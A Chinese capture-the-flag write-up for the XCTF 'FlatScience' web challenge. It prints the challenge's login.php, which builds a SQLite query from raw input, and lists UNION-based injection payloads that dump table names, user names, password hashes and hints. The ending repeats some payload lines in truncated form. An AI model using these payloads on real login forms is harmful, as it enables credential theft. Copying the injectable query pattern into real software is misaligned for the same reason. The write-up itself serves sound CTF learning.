wordpress网站顶部网站抓取诊断
攻防世界38-FlatScience-Web
点开这个here看到一堆pdf,感觉没用，扫描一下
试试弱口令先
源码里有：
好吧0.0
试试存不存在sql注入
根本没回显，转战login.php先
输入1’,发现sql注入
看到提示
访问后得源码
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body><div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br> <input type="text" name="pw"><br><br><input type="submit" value="Submit">
</form><?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! --><hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
$db = new SQLite3(‘…/fancy.db’);提示是个sqlite注入
payload里注入
返回在右上角
usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
//查所有内容
usr=' union select 1,group_concat(id) from Users--&pw=1
usr=' union select 1,group_concat(name) from Users--&pw=1
usr=' union select 1,group_concat(password) from Users--&pw=1
usr=' union select 1,group_concat(hint) from Users--&pw=
得到hint，下面做不动了
贴一个大佬的wp
oncat(password) from Users–&pw=1
usr=’ union select 1,group_concat(hint) from Users–&pw=
得到hint，下面做不动了贴一个大佬的wp[FlatScience XCTF web进阶区FlatScience详解-CSDN博客](https://blog.csdn.net/weixin_43693550/article/details/120241607?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-2-120241607-blog-112161044.235^v43^pc_blog_bottom_relevance_base4&utm_relevant_index=5)